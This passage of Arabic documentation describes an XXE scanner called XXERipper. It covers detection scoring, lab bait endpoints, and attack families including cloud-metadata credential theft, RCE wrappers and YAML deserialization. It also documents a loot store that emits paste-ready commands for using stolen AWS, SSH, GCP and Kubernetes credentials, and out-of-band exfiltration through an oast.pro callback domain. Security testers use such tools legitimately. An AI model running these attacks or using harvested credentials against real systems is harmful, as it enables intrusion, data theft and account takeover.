تُخزّن نتائج البصمة مؤقتًا في `~/.cache/xxeripper/fingerprints.json`، بمفتاح هو عنوان URL للهدف. يخزّن المدخل المخزّن اسم المحلّل الفائز، وقاموس القدرات الكامل، وطابعًا زمنيًا. تتخطى عمليات الفحص المتكررة لنفس عنوان URL مرحلة الفحص بالكامل.
تبقى الذاكرة المؤقتة مستقرة بين التشغيلات ما لم تتغيّر حزمة XML للهدف. في CI، وجّه `HOME` إلى مجلد ذاكرة مؤقتة محفوظ لتوفير طلبات الفحص في كل تشغيل. احذف الملف أو مرّر `--no-fingerprint-cache` لإبطاله.
### تقييد القدرات
تستهلك مرحلتان نتيجة البصمة:
- **قراءة الملفات داخل النطاق** — تُتخطى إذا نجحت البصمة وأبلغت عن عدم وجود قدرة على حل الكيانات عبر كل من `internal_entity`، `external_file`، `external_dtd`، `parameter_entity`، `dtd_allowed`.
- **مسح DTD المحلي القائم على الأخطاء** — نفس البوابة. تعمل التقنية الفرعية للكيان المشوّه بغض النظر، لأنها تنجح على حزم (Xerces، .NET) لا تحتاج إلى DTD محلي على الإطلاق.
لا تُفعّل البوابة إلا إذا *نجحت* البصمة (أي أن قدرة واحدة على الأقل `True` وهناك عائلة محلّل فائزة). البصمة التي أعادت كل `False` — وهو ما يحدث عندما لا يحلّل الهدف XML على الإطلاق — تُعامل كـ "مجهولة" وتعمل المراحل دون شرط. هذا يتجنّب نمط الفشل حيث تكبت بصمة مُهيّأة خطأً نتائج حقيقية.
مرّر `--no-fingerprint` لتعطيل المرحلة والبوابة تمامًا.
---
## منهجية الكشف
خط أنابيب الكشف طبقي عمدًا. كل طبقة هي فيتو أو وزن، ولكل منها نمط فشل محدد صُمّمت لمنعه.
### الطبقة 1 — خط الأساس الإحصائي
تُرسل سبعة طلبات `POST` حميدة قبل أي حمولة هجوم. من تلك العينات:
- **وسيط طول الجسم** — يُستخدم لتقييم فرق الطول.
- **وسيط الزمن المنقضي** و **IQR** — يُستخدمان لتقييم شذوذ التوقيت.
- **رمز الحالة الأكثر شيوعًا** — يُستخدم لتقييم تحوّل الحالة.
- **تجزئة الجسم الأكثر شيوعًا** — تُستخدم لفيتو عدم التغيّر.
- **وسيط إنتروبيا Shannon** على الجسم كاملًا — يُستخدم كفحص معقولية للحد الأدنى.
- **وسيط الإنتروبيا النافذية** على نوافذ بحجم 256 بايت — تُستخدم لتقييم شذوذ الإنتروبيا.
- **اتحاد كل أجسام العينات** — يُستخدم لفحص خطأ المحلّل المرتكز على خط الأساس.
إحصاءات خط الأساس هي المرساة. كل قرار تقييم لاحق يقارن استجابة مرشّحة مقابل خط الأساس هذا، لا مقابل عتبة ثابتة.
### الطبقة 2 — الفيتوات
ترفض الفيتوات الضجيج الواضح قبل التقييم. اثنان صارمان، وواحد مرن.
**فيتو الانعكاس (صارم، −100).** إذا احتوى جسم الاستجابة على سلسلة فرعية بطول 40 حرفًا من الحمولة (بعد فك ترميز URL وتوحيد المسافات البيضاء)، فقد ارتدّت الحمولة حرفيًا دون حل الكيانات. هذا هو المصدر الأكثر شيوعًا للإيجابيات الكاذبة في الماسحات الساذجة — فكل نقطة نهاية "اختبر محلّل XML" التي تعيد صدى مدخلاتها ستبدو معرّضة للخطر لولا ذلك.
**عقوبة الانعكاس المرنة (−30).** إذا اكتُشف الانعكاس لكن الاستجابة *تحمل أيضًا* إشارة قوية (بصمة ملف، أو استدعاء راجع OOB مترابط، أو سلامة تسلسل، أو خطأ محلّل عالي الثقة)، يُخفَّض الفيتو الصارم إلى عقوبة −30. هذا يعالج حالة قراءة ملف حقيقية مضمّنة داخل صفحة تصادف أنها تعيد صدى جزء من الطلب.
**فيتو عدم التغيّر (صارم، −50).** إذا كان جسم الاستجابة مطابقًا بايت ببايت لتجزئة الجسم الأكثر شيوعًا في خط الأساس، فلم تغيّر الحمولة شيئًا. يخفّض `strong_signal` هذا إلى تقييم عادي دون الفيتو.
**مطابقة خط الأساس الموحّد (صارم، −75).** حتى عندما تختلف التجزئة، قد تكون الاستجابة متطابقة بنيويًا بعد إزالة المسافات البيضاء، والكتل السداسية العشرية، والأرقام الطويلة، ورموز CSRF، ومعرّفات الجلسات. إذا كان الأمر كذلك، فهي ضجيج خط الأساس. نفس بوابة `strong_signal`.
**شذوذ الإنتروبيا (تصاعدي فقط).** لا يُفعّل إلا عندما `median_length >= 256`. إنتروبيا الاستجابة الكاملة تهيمن عليها أثاث الصفحة المحيط وتفوّت مناطق صغيرة مضمّنة عالية الإنتروبيا — نتيجة قراءة ملف في صفحة خطأ كبيرة. يلتقطها المسح النافذي (نوافذ 256 بايت، خطوة 128 بايت، أول 16 KiB). يتدرّج من +5 عند 0.5 بت/بايت فوق خط الأساس حتى +20 عند 4.0 بت/بايت فوق خط الأساس.
### الطبقة 3 — الإشارات الإيجابية
يُقيَّم كل مرشّح ناجٍ مقابل خط الأساس:
| الإشارة | الوزن | مرساة خط الأساس |
|---|---|---|
| بصمة محتوى الملف | +40، +5 لكل مؤشر إضافي | يجب ألا يظهر المؤشر في أجسام خط الأساس |
| سلامة التسلسل (حُلّ الكيان من البداية للنهاية، لا مجرد تعريفه) | +25 | بنيوي — تُحلَّل الاستجابة كمحتوى، لا كترميز |
| خطأ المحلّل (عالي / متوسط / منخفض) | +20 / +15 / +5 | يجب ألا تظهر سلسلة الخطأ في أجسام خط الأساس |
| شذوذ التوقيت مؤكَّد | +20 | الفرق ≥1.5 ثانية، والنسبة ≥2.5× الوسيط، وإما الفرق ≥4× IQR أو الفرق ≥2× التذبذب الملاحظ |
| شذوذ الإنتروبيا النافذية | +5 إلى +20 | تصاعدي فقط، متدرّج بفرق بت/بايت |
| استدعاء راجع OOB مترابط | +50 | الرمز في النطاق الفرعي للاستدعاء الراجع يطابق الرمز المعلّق |
| استدعاء راجع OOB غير مترابط | +15 | وصل الاستدعاء الراجع لكن الرمز لم يطابق |
| فرق الطول (≥20%) | +10 | مقابل وسيط الطول |
| تحوّل الحالة | +5 | مقابل رمز الحالة الأكثر شيوعًا |
تتطلب بصمات الملفات **مطابقة سلسلتي مؤشر على الأقل**، ويجب ألا تبدو الاستجابة كترميز. هذا ما يمنع صفحة تذكر `root:x:0:0:` في مقتطف توثيقي من تفعيل كاشف `/etc/passwd`.
### الطبقة 4 — التصنيف
| النتيجة | إشارة إلزامية | عائلات مستقلة | النتيجة |
|---|---|---|---|
| ≥70 | نعم | ≥2 | **مؤكَّد** — CRITICAL |
| 45–69 | نعم | أي | **محتمل** — HIGH |
| 25–44 | نعم | أي | **محتمل** — MEDIUM |
| <25 | نعم | أي | **نظري** — LOW *(مكتوم)* |
| أي | لا | أي | **نظري** — INFO *(مكتوم)* |
**الإشارات الإلزامية** محصورة في ثلاث: `file_type` (طابقت بصمة محتوى ملف)، و `oob_correlated` (وصل استدعاء راجع OOB مترابط تشفيريًا)، و `chain_integrity` (حُلّ الكيان من البداية للنهاية). تساهم أخطاء المحلّل وشذوذات التوقيت في النتيجة لكنها لا تستطيع تأكيد نتيجة بمفردها — خطأ المحلّل يقول إن الحمولة وصلت إلى المحلّل، لا أن الكيان حُلّ؛ وفرق التوقيت يقول إن الهدف استغرق وقتًا أطول، لا أن جلبًا شبكيًا حدث.
**العائلات المستقلة** تعدّ *أنواع* الأدلة المتميزة: `file_type`، `oob_correlated`، `chain_integrity`، `parser_error`، `response_elapsed`. يعني شرط العائلتين أنه حتى عند نتيجة ≥70، لا تستطيع بصمة قوية واحدة الترقية إلى CRITICAL بمفردها. تحتاج إلى إشارة مستقلة ثانية — خطأ محلّل خاص باستجابة XXE، أو شذوذ توقيت، أو سلامة تسلسل.
### الطبقة 5 — بناء الثقة عبر الفحص
ترى كل مرحلة صورة أكثر ثقة للهدف من سابقتها. تعمل البصمة أولًا وتقيّد مراحل قراءة الملفات. تنتج مراحل قراءة الملفات غنائم، التي تبذر مراحل التسلسل. تكمل مراحل التسلسل القوالب، التي تنتج تجميعات. تُعامل التجميعات كنتائج بحد ذاتها وتظهر في كل صيغة إخراج.
النتيجة ماسح يعامل "نظيف" كحالة يجب التحقق منها بدلًا من افتراضها، ويبلّغ عن التغطية في كل مرحلة حتى يستطيع المشغّل التمييز بين "الهدف غير معرّض للخطر" و"الهدف لم يُختبر قط".
### طُعم الإيجابيات الكاذبة في المختبر
تأتي المختبرات المرفقة بسبعة عشر نقطة نهاية آمنة مصمّمة خصيصًا لتفعيل ماسح يفرط في الإبلاغ. طُعوم خط الأساس الخمسة:
- `/xml/safe` — يحلّل مع تعطيل الكيانات. الماسحات الصحيحة تبلّغ `[OK]`.
- `/xml/noise` — يعيد جسمًا عشوائيًا لكل طلب. يلتقطه توحيد خط الأساس.
- `/xml/stripped` — يحلّل XML لكنه يزيل تعريفات ENTITY أولًا. الماسح الذي يعامل "عمل المحلّل" كنتيجة سيفشل هنا.
- `/xml/silent` — يحلّل لكنه يزيل DOCTYPE قبل التحليل. لا يبقى أي كيان. طُعم سلبيات كاذبة.
- `/xml/safe-metadata` — يعيد سلاسل على شكل AWS داخل HTML. تتطلب بصمة الملف مؤشرين زائد عدم الترميز لتفعيل — والاستجابة هنا ترميز.
بالإضافة إلى اثني عشر نظيرًا آمنًا مطابقًا للنطاق (`/xml/safe-form`، `/xml/safe-query`، `/xml/safe-svg`، `/xml/safe-saml`، `/xml/safe-soap`، `/xml/safe-multipart`، `/xml/safe-docx`، `/xml/safe-xinclude`، `/xml/safe-xinclude-xml`، `/xml/safe-xslt`، `/xml/safe-xsd`، `/xml/safe-pi`) تشغّل نفس فحص النطاق الذي يشغّله نظيرها المعرّض للخطر لكنها تحلّل مع تعطيل الكيانات. أي نتيجة على أي من هذه النقاط السبع عشرة هي خطأ في الماسح.
---
## محرك الدقة
تقييم موزون مع **بوابات إشارة إلزامية**. تُقيَّم كل استجابة مرشّحة مقابل خط الأساس الإحصائي. يوضّح هذا القسم الأوزان والعتبات؛ ويشرح قسم [منهجية الكشف](#detection-methodology) المنطق.
| الإشارة | الوزن |
|---|---|
| استدعاء راجع OOB مترابط | +50 |
| بصمة محتوى الملف | +40 (+5 لكل مؤشر إضافي) |
| سلامة التسلسل (حُلّ الكيان، لا مجرد تعريفه) | +25 |
| فرق خطأ المحلّل (عالي / متوسط / منخفض) | +20 / +15 / +5 |
| شذوذ التوقيت مؤكَّد | +20 |
| شذوذ الإنتروبيا النافذية | +5 إلى +20، متدرّج بفرق بت/بايت |
| استدعاء راجع OOB غير مترابط | +15 |
| فرق الطول (انحراف ≥20%) | +10 |
| تحوّل رمز الحالة | +5 |
| عقوبة الانعكاس (إشارة قوية موجودة) | −30 |
| فيتو الانعكاس (لا إشارة قوية) | −100 |
| فيتو عدم التغيّر | −50 |
| مطابقة خط الأساس الموحّد | −75 |
**الإنتروبيا النافذية** تستخدم نوافذ منزلقة بحجم 256 بايت (خطوة 128 بايت، أول 16 KiB). تُفعّل فقط عندما `median_length >= 256`، وفقط على التحوّلات التصاعدية، وفقط عندما يتجاوز الفرق 0.5 بت/بايت. تتدرّج من +5 عند العتبة إلى +20 عند 4.0 بت/بايت.
| النتيجة | إشارة إلزامية | عائلات مستقلة | النتيجة |
|---|---|---|---|
| ≥70 | نعم | ≥2 | **مؤكَّد** — CRITICAL |
| 45–69 | نعم | أي | **محتمل** — HIGH |
| 25–44 | نعم | أي | **محتمل** — MEDIUM |
| <25 | نعم | أي | **نظري** — LOW *(مكتوم)* |
| أي | لا | أي | **نظري** — INFO *(مكتوم)* |
**نتائج التوقيت دائمًا `potential`، وليست `confirmed`** — فرق التوقيت يقول إن الهدف استغرق وقتًا أطول، لا أن كيانًا حُلّ.
### تعيين CWE
بحث يبدأ بالأطول بادئةً. تحمل نتائج XXE الرمز CWE-611؛ وتضيف نتائج الكشف عن المعلومات CWE-200؛ وتضيف SSRF عبر الكيان، وجالبات XSLT/XSD، وكل نتيجة `XXE-CLOUD-METADATA-*` الرمز CWE-918؛ ويضيف `expect://` في PHP وأغلفة `XXE-RCE-*` الرمز CWE-78؛ و Billion Laughs هو CWE-776؛ وإعادة استخدام DTD المحلي القائم على الأخطاء تضيف CWE-829؛ ويضيف `XXE-SAML-PRESIG` الرمز CWE-347؛ وتضيف `XXE-WAF-BYPASS-*` الرمز CWE-693؛ وتضيف مرحلة إلغاء تسلسل YAML الرمز CWE-502.
---
## تقنيات الهجوم
أكثر من ثلاثين عائلة عبر عشر فئات.| الفئة | التقنيات | الخطورة | CWE |
|---|---|---|---|
| In-band | قراءة ملفات كلاسيكية، سلسلة مرشحات PHP، SSRF عبر الكيان | CRITICAL | 611, 200, 918 |
| In-band RCE | PHP `expect://` | CRITICAL | 611, 78 |
| قائم على الأخطاء | إعادة استخدام DTD محلي، كيان مشوّه | CRITICAL | 611, 200, 829 |
| أعمى | DNS OOB، DTD خارجي OOB، كيان معامل OOB، تجاوز CDATA، قائم على التوقيت | CRITICAL / HIGH | 611 |
| تجاوز الترميز | UTF-16، UTF-7، UCS-4، DOCTYPE بديل | HIGH | 611 |
| أحواض بديلة | XInclude (`parse='text'`، `parse='xml'`)، رفع SVG، غلاف SAML، غلاف SOAP | CRITICAL | 611, 918 |
| جالبات موسّعة | XSLT `document()`، XSLT `xsl:include`، XSD `schemaLocation`، XSD `xsd:import`، `xml-stylesheet` PI، حقل XML متعدد الأجزاء، رفع DOCX | HIGH / CRITICAL | 611, 918 |
| بيانات وصفية سحابية | AWS IMDSv1، AWS IMDSv2 (مكتشف)، بيانات اعتماد AWS IAM، AWS user-data، GCP token/project، Azure IMDS/managed-identity، Alibaba RAM، OCI، أسرار Kubernetes | CRITICAL / HIGH | 611, 918, 200 |
| أغلفة RCE | Java `jar:`، PHP `data://`، PHP `phar://`، PHP `glob://`، PHP `compress.zlib://` | CRITICAL | 611, 78, 200 |
| SAML قبل التوقيع | تحليل جسم الـ Assertion قبل التحقق من التوقيع | HIGH | 611, 347 |
| JSON-to-XML | تبديل Content-type على نقاط نهاية JSON فقط | HIGH | 611, 200 |
| مستندات Office | `xml-stylesheet` PI في DOCX/XLSX تُجلَب بواسطة معالجات XSLT من جهة الخادم | CRITICAL | 611, 918 |
| إلغاء تسلسل YAML | PyYAML `!!python/object/apply`، SnakeYAML `!!javax.script.ScriptEngineManager` | CRITICAL | 502, 611 |
| DoS | Billion Laughs | HIGH | 776 |
**مراحل نواقل التسليم** تتحقق بما يتجاوز الشكل القياسي `POST` + `application/xml`:
- **مصفوفة Content-Type** — الحمولة الكلاسيكية تحت تسعة أنواع محتوى مجاورة لـ XML. كثير من الخوادم لا توجّه إلى محلل XML إلا عندما يطابق Content-Type.
- **تنويع طريقة HTTP** — `PUT` و `PATCH`. غالبًا ما تقبل واجهات REST API بروتوكول XML على هاتين الطريقتين حتى عندما يكون `POST` خاصًا بـ JSON فقط.
- **حقن معامل الاستعلام** — `?xml=`، `?data=`، `?payload=`، `?input=`. كثيرًا ما تقبل واجهات API القديمة والبوابات بروتوكول XML بهذه الطريقة حتى عندما لا يُحلَّل الجسم كـ XML.
- **التبديل من JSON إلى XML** — مسبار XML حميد يحدد ما إذا كانت نقطة النهاية تقبل `application/xml` إلى جانب JSON المعلن. إذا لم يُرفض رفضًا صريحًا بـ `415`، يتابع الماسح بحمولة قراءة ملفات كلاسيكية. هذا يلتقط Spring MVC مع `jackson-dataformat-xml` على مسار الفئات (والذي يقبل XML بصمت على أي نقطة نهاية `@RequestBody`، دون الحاجة إلى أي تعليق توضيحي).
**البيانات الوصفية السحابية** مرحلة مخصصة، وليست مجرد مدخل في قائمة عناوين URL. تُفحَص إحدى عشرة نقطة نهاية عبر ستة مزوّدين. تُبصَم كل واحدة مقابل مفاتيح خاصة بالمزوّد (`AccessKeyId`، `SecretAccessKey`، `SecurityToken` لـ AWS IAM؛ `access_token`، `expires_in`، `token_type` لـ GCP OAuth؛ `vmId`، `subscriptionId` لـ Azure؛ إلخ). أي استجابة تحتوي على علامات بيانات اعتماد تُرقّى إلى CRITICAL ولا يُفحَص أكثر. **كشف IMDSv2**: استجابة AWS بحالة `401` و `token` في الجسم تُبلَّغ كـ `XXE-CLOUD-METADATA-IMDSV2` (HIGH) — بدائية SSRF موجودة لكن خدمة البيانات الوصفية تفرض رمز جلسة. بيانات الاعتماد المستخرجة تمر عبر `LootStore.add_secret` وتستقر في تبويب Loot في WebUI مع مقتطفات جاهزة للصق.
**أغلفة XXE-to-RCE** تُفحَص بحثًا عن إشارات نجاحها المميزة:
| الغلاف | الإشارة |
|---|---|
| Java `jar:file://…!/META-INF/MANIFEST.MF` | `Manifest-Version`، `Main-Class` |
| PHP `data://text/plain;base64,…` | `phpinfo`، `<?php` |
| PHP `phar://…/stub` | `unserialize`، `__PHP_Incomplete_Class` |
| PHP `glob:///etc/*` | قوائم المسارات (`/etc/`، `/root/`، `/usr/`) |
| PHP `compress.zlib://…` | `root:x:`، `daemon:x:` |
**SAML قبل التوقيع** — يجب على مزوّدي خدمة SAML تحليل جسم الـ Assertion قبل التحقق من التوقيع، وهو التسلسل الذي كشفه CVE-2026-28809 (esaml). ترسل المرحلة تأكيد SAML سليم البنية بتوقيع غير صالح عمدًا أولًا؛ خطأ محلل أو استجابة `200` يشير إلى أن نقطة النهاية وصلت إلى تحليل XML. عندها فقط تُرسَل حمولة XXE. تعمل تلقائيًا على عناوين URL ذات شكل SAML (`saml`، `sso`، `adfs`، `okta`، `assertion`، `federation`، `idp`، `sts/`، `sp/`)، أو دون شرط مع `--saml`.
**XSLT لمستندات Office** — يُحترم `xml-stylesheet` PI بواسطة معالجات المستندات من جهة الخادم في بعض التهيئات: عارضات معاينة Word، محوّلات PDF، LibreOffice headless، و Apache POI XSLF. تبني المرحلة ملف DOCX (أو XLSX) بسيطًا يحمل فيه جزء `word/document.xml` (أو `xl/workbook.xml`) الـ PI الموجّه إلى XSLT يتحكم به المهاجم. استدعاء مترابط يثبت أن ورقة الأنماط قد جُلبت. يختلف عن XXE بالمعنى الدقيق — إنه استدعاء XSLT، الذي يتسلسل إلى كشف الملفات (`document('file:///etc/passwd')`) و SSRF.
**إلغاء تسلسل YAML** — CWE-502، وليس CWE-611. يشحن الماسح أربعة مسابر: PyYAML `!!python/object/apply:os.system` و SnakeYAML `!!javax.script.ScriptEngineManager`، كل منهما يُسلَّم كجسم `application/x-yaml` خام وداخل غلاف XML. استدعاء مترابط يثبت RCE. تتوقف المرحلة بعد أول نجاح؛ المتغيرات البديلة ستكون ضوضاء.
**مراحل أهداف الملفات** — مجموعة أولوية من 21 مسارًا افتراضيًا؛ يوسّع `--full-file-scan` إلى 58 مسارًا، مضيفًا تجوال Linux `/proc`، وملفات مصدر التطبيق و `.env`، ومسارات بيانات اعتماد SSH/AWS/GCP، وعلامات الحاويات، و `/run/secrets/*`، وإسقاط حساب خدمة Kubernetes، ونسخ Windows SAM الاحتياطية، وملفات unattend، وسجلات IIS، وبيانات اعتماد المسؤول. تُزال التكرارات وقت الفحص؛ لا يُفحَص أي مسار مرتين.
**النتائج القائمة على الأخطاء مقسّمة** لأن التقنيات تنجح ضد محللات مختلفة:
- `XXE-ERROR-BASED-LOCAL-DTD` — يختطف DTD موجودًا بالفعل على نظام ملفات الهدف. يستخدم صيغة external-DOCTYPE المقبولة في libxml2 ≥2.9.
- `XXE-ERROR-BASED-MALFORMED` — يعرّف كيان معامل داخل المجموعة الفرعية الداخلية ويترك خطأ المحلل يسرّب الملف. يعمل على Xerces و .NET؛ يرفض libxml2 كيانات المعامل في المجموعة الفرعية الداخلية على مستوى C.
**مسابر التوقيت** توجّه الكيان إلى عنوان RFC 5737 TEST-NET-1 (`http://192.0.2.1/`)، وهو مضمون عدم قابلية التوجيه. يحجب حل الكيان على مهلة اتصال TCP الخاصة بالمحلل.
**مراحل اختيارية:** `--timing` (يحتفظ بثلاث اتصالات ~5 ثوانٍ لكل هدف)، `--unsafe` (Billion Laughs)، `--svg` (مراحل بشكل رفع)، `--saml` (SAML قبل التوقيع)، `--full-file-scan` (قائمة ملفات موسّعة)، `--bypass-waf` (انظر أدناه).
---
## سلاسل الاستغلال واستخراج الغنائم
يحوّل نظامان فرعيان النتائج الفردية إلى سرد.
### متتبع السلاسل
كل نتيجة تمر عبر `add_finding` تبذر مراحل السلسلة من خلال خطاف واحد: يقرأ `_record_chain_stages` معرّف النتيجة وقاموس الأدلة ويسجّل أي مراحل يستلزمها التركيب. نتيجة بمفتاح دليل `file_type` تسجّل `xxe_confirmed`. نتيجة بـ `loot_id` تسجّل `file_content_recovered`. نتيجة يحتوي دليلها على `extracted_credentials` تسجّل `credential_extracted`؛ وإذا كان الاعتماد مفتاح SSH خاصًا، يُطلَق أيضًا `ssh_key_extracted`. وهكذا دواليك.
تُعرَّف ثلاثة عشر قالب سلسلة. يتطلب كل منها مجموعة من المراحل. عندما تكون جميع المراحل المطلوبة موجودة، تُطلَق السلسلة **مرة واحدة** (محمية ضد سباقات التزامن) وتُصدر نتيجة مجمّعة:
| معرّف السلسلة | المسار | الخطورة |
|---|---|---|
| `xxe_inband_file_credential_theft` | XXE → قراءة ملفات in-band → سرقة بيانات اعتماد | CRITICAL |
| `xxe_imds_iam_aws_takeover` | XXE → IMDS → بيانات اعتماد IAM → الاستيلاء على حساب AWS | CRITICAL |
| `xxe_error_based_file_recovery` | XXE → تسريب قائم على الأخطاء → استرداد محتوى الملف | HIGH |
| `xxe_php_source_disclosure` | XXE → مرشح PHP → كشف المصدر | CRITICAL |
| `xxe_rce_chain` | XXE → غلاف بروتوكول → تأكيد سلسلة RCE | CRITICAL |
| `xxe_blind_oob_confirmed` | XXE → تأكيد استدعاء OOB أعمى | HIGH |
| `xxe_ssrf_internal_enum` | XXE → SSRF → الوصول إلى خدمة داخلية | HIGH |
| `xxe_waf_bypass_confirmed` | XXE → تجاوز WAF → تأكيد حل الكيان | HIGH |
| `xxe_kubernetes_cluster_takeover` | XXE → Kubernetes secrets API → سرقة بيانات اعتماد العنقود | CRITICAL |
| `xxe_k8s_serviceaccount_token` | XXE → قراءة رمز SA داخل العنقود | CRITICAL |
| `xxe_ssh_key_lateral_movement` | XXE → مفتاح SSH خاص → بدائية حركة جانبية | HIGH |
| `xxe_gcp_oauth_token_extraction` | XXE → بيانات GCP الوصفية → استخراج رمز OAuth | CRITICAL |
| `xxe_azure_managed_identity` | XXE → Azure IMDS → رمز managed-identity | CRITICAL |
تحمل النتائج المجمّعة تتبع خطوات قابلًا للتسلسل بـ JSON، ودرجة إجمالية 100، وسلسلة أسباب كاملة الطول. تظهر في مخرجات JSON و SARIF و HTML مثل أي نتيجة أخرى، وبادئة معرّفها (`XXE-CHAIN-`) مستبعدة من تبذير السلاسل حتى لا تتكرر أبدًا.
### مخزن الغنائم
كل نتيجة قراءة ملفات تمر عبر `LootStore`، الذي:
1. يستخرج محتوى الملف الخام من جسم الاستجابة عبر `FileContentExtractor`. يوزّع المستخرج حسب `(file_path, fingerprint_type)`: لـ `/etc/passwd` و `/etc/shadow` مطابقات موجّهة بالأسطر مع احتياطي منتصف السطر لأخطاء المحلل التي تسرّب بادئة مسار؛ مفاتيح SSH تستخدم حدود PEM؛ `.env`، `web.ini`، `system.ini`، `boot.ini` لها مطابقات بنمط INI؛ `web.config` يستخدم مطابق عنصر التهيئة؛ `/proc/self/environ` يتعامل مع أجسام محددة بـ NUL. احتياطي عام يستخرج كتل `<pre>` / `<textarea>` / `<code>` من استجابات الترميز.
2. يقتطع إلى 256 KB (تُستخرج بيانات الاعتماد من المحتوى الكامل قبل الاقتطاع).
3. يزيل التكرار بـ SHA-256 للمحتوى.
4. يشغّل `CredentialExtractor` على المحتوى الكامل.
يتعرف `CredentialExtractor` على سبعة أنواع من بيانات الاعتماد:
| النوع | المصدر | الثقة |
|---|---|---|
| `aws_iam` (JSON) | AWS IMDS `AccessKeyId` / `SecretAccessKey` / `Token` | 95 |
| `aws_iam` (INI) | ملف بيانات اعتماد AWS CLI (`aws_access_key_id` / `aws_secret_access_key` / `aws_session_token`) | 90 |
| `alibaba_ram` | بيانات Alibaba Cloud الوصفية (`AccessKeyId` / `AccessKeySecret` / `SecurityToken`) | 90 |
| `ssh_private_key` | كتل مفاتيح PEM الخاصة (RSA، OpenSSH، DSA، EC، PKCS#8) | 90 |
| `gcp_service_account` | JSON لحساب الخدمة (`"type": "service_account"` + `private_key_id`) | 85 |
| `oauth_token` | بيانات GCP الوصفية واستجابة Azure managed-identity (`access_token` + `expires_in` / `expires_on`) | 85 |
| `k8s_sa_token` | Kubernetes `SecretList` (`data.token` base64-JWT) أو ملف رمز حساب خدمة مجرّد | 90 |
| `generic_bearer` | أي مطابقة `Bearer <token>` أو `Authorization: <token>` برمز من 24+ حرفًا | 40 |
ينتج كل اعتماد قائمة بمقتطفات shell جاهزة للصق:
- **AWS IAM** — `aws sts get-caller-identity` للتحقق من أن المفتاح لا يزال يعمل، `aws s3 ls`، تعداد سياسات IAM، وكتلة `export` للصدفة الحالية.
- **Alibaba RAM** — `aliyun sts GetCallerIdentity`، `aliyun oss ls`، وكتلة `export` بمتغيرات البيئة `ALIBABA_CLOUD_*` الصحيحة.
- **مفتاح SSH خاص** — التثبيت، والبصمة، والمحاولة ضد `github.com` / `gitlab.com` / `bitbucket.org`.
- **حساب خدمة GCP** — تفعيل المفتاح بـ `gcloud auth activate-service-account`.
- **رمز وصول OAuth** — `curl` ضد نقطة نهاية userinfo في Google (تعمل لرموز GCP) ونقطة نهاية subscriptions في Azure (تعمل لرموز Azure).
- **رمز حساب خدمة Kubernetes** — مقتطفات `kubectl --token=…` مبنية بالمساحة الاسمية واسم حساب الخدمة المفكوكين من claims الخاصة بـ JWT، بالإضافة إلى أمر `jq` لفحص claims الرمز دون التحقق من التوقيع.
- **Bearer عام** — `curl` ضد `httpbin.org/bearer` لاختبار ما إذا كان الرمز لا يزال حيًا.
تُرفَق بيانات الاعتماد المستخرجة بكل من دليل النتيجة (`extracted_credentials`) ومدخل الغنائم (`credentials`). يعرضها تبويب **Loot** في WebUI وتبويب **Overview** في Inspector مباشرة مع أزرار نسخ لكل أمر. يتضمن تقرير HTML هذه البيانات تحت قسم *Extracted loot*.
تظهر قيمة الاعتماد الكاملة في معاينة Loot. أُزيل الإخفاء في v1.0.0 لأن القيمة نفسها ظاهرة بالفعل دون إخفاء في Inspector ومخرجات JSON ومخرجات SARIF وتقرير HTML — فالإخفاء في مكان دون الآخرين لم يكن يخدم أي غرض.
### توجيه الغنائم عبر التقنيات
يعمل استخراج الغنائم على كل نتيجة يحتوي جسم استجابتها على محتوى ملف قابل للتحليل:
- **قراءات الملفات in-band** — `/etc/passwd`، `/etc/shadow`، مفاتيح SSH، `.env`، إلخ. تُستخرج مباشرة من الاستجابة.
- **التسريبات القائمة على الأخطاء** — محتوى الملف مضمّن في نص خطأ المحلل. يلتقطه مطابق `/etc/passwd` منتصف السطر.
- **مخرجات مرشح PHP** — تُفكّ ترميز base64 قبل الاستخراج، ثم تُوجَّه عبر مستخرج بيانات الاعتماد.
- **حلول XInclude** — يُحلَّل المحتوى المضمّن بواسطة المستخرج نفسه.
- **استجابات البيانات الوصفية السحابية** — تُستخرج بيانات الاعتماد وتُوجَّه عبر `LootStore.add_secret`، وتُرفَق معرّفات الغنائم الناتجة بدليل النتيجة كـ `loot_ids`.
- **تسريب OOB الأعمى** — عندما يكون `--oob-listen` أو `--oob-dtd-dir` نشطًا (أو خادم DTD المستضاف في WebUI)، يحمل الاستدعاء محتوى الملف، ويستخرجه `OOBExfilExtractor`، وتمر النتيجة عبر مستخرجي محتوى الملفات وبيانات الاعتماد نفسيهما كما في القراءة in-band.
مسار التسريب الأعمى هو الذي يغيّر ماهية الأداة. قبله، كانت `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` تقول "الهدف جلب DTD الخاص بنا." بعده، تحمل النتيجة نفسها `loot_id` و `extracted_content_preview` و `extracted_credentials` في دليلها، ويرى متتبع السلاسل الغنائم ويمكنه إطلاق `xxe_blind_oob_confirmed` → `file_content_recovered` → `credential_extracted`، ويعرض تبويب Loot في WebUI الملف المسترد بنفس المقتطفات الجاهزة للصق كما في القراءة in-band.
---
## التأكيد خارج النطاق
يستخدم XXERipper **`interactsh-client`** كخلفية OOB. هناك وضعان.
### الوضع اليدوي (الافتراضي)
يبني الماسح الحمولات تحت نطاق جلستك؛ ويقوم العميل بالتسجيل والاستقصاء وفك التشفير. لا يتحدث الماسح أبدًا بروتوكول Interactsh.```bash
# Terminal A
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
# Terminal B
xxeripper https://target.com/api/xml \
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
عندما ينتهي الفحص، يتضمن ملخص كل هدف كتلة [OOB] تسرد كل payload تم إرساله، مجمّعة مع تسمية التقنية الخاصة به:```
[1/1] [MANUAL-OOB] https://target.com/api/xml
Parser: libxml2
[!] 3 phase(s) skipped:
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
[OOB] 7 payload(s) dispatched — watch your interactsh-client terminal
- [xxe-dns] xxe-dns-a1b2c3d4e5f6a7b8.c5f2a9b4e1d8a3f72c0b.oast.pro
DNS-only parameter entity (blind parser fingerprint)
- [xxe-dtd] xxe-dtd-9f8e7d6c5b4a3210.c5f2a9b4e1d8a3f72c0b.oast.pro
External DTD fetch (blind file exfiltration via DTD)
...
عندما يطبع `interactsh-client` تفاعلاً، طابق بادئة النطاق الفرعي مع سطر `[OOB]` المقابل. هذه المطابقة هي تأكيدك.
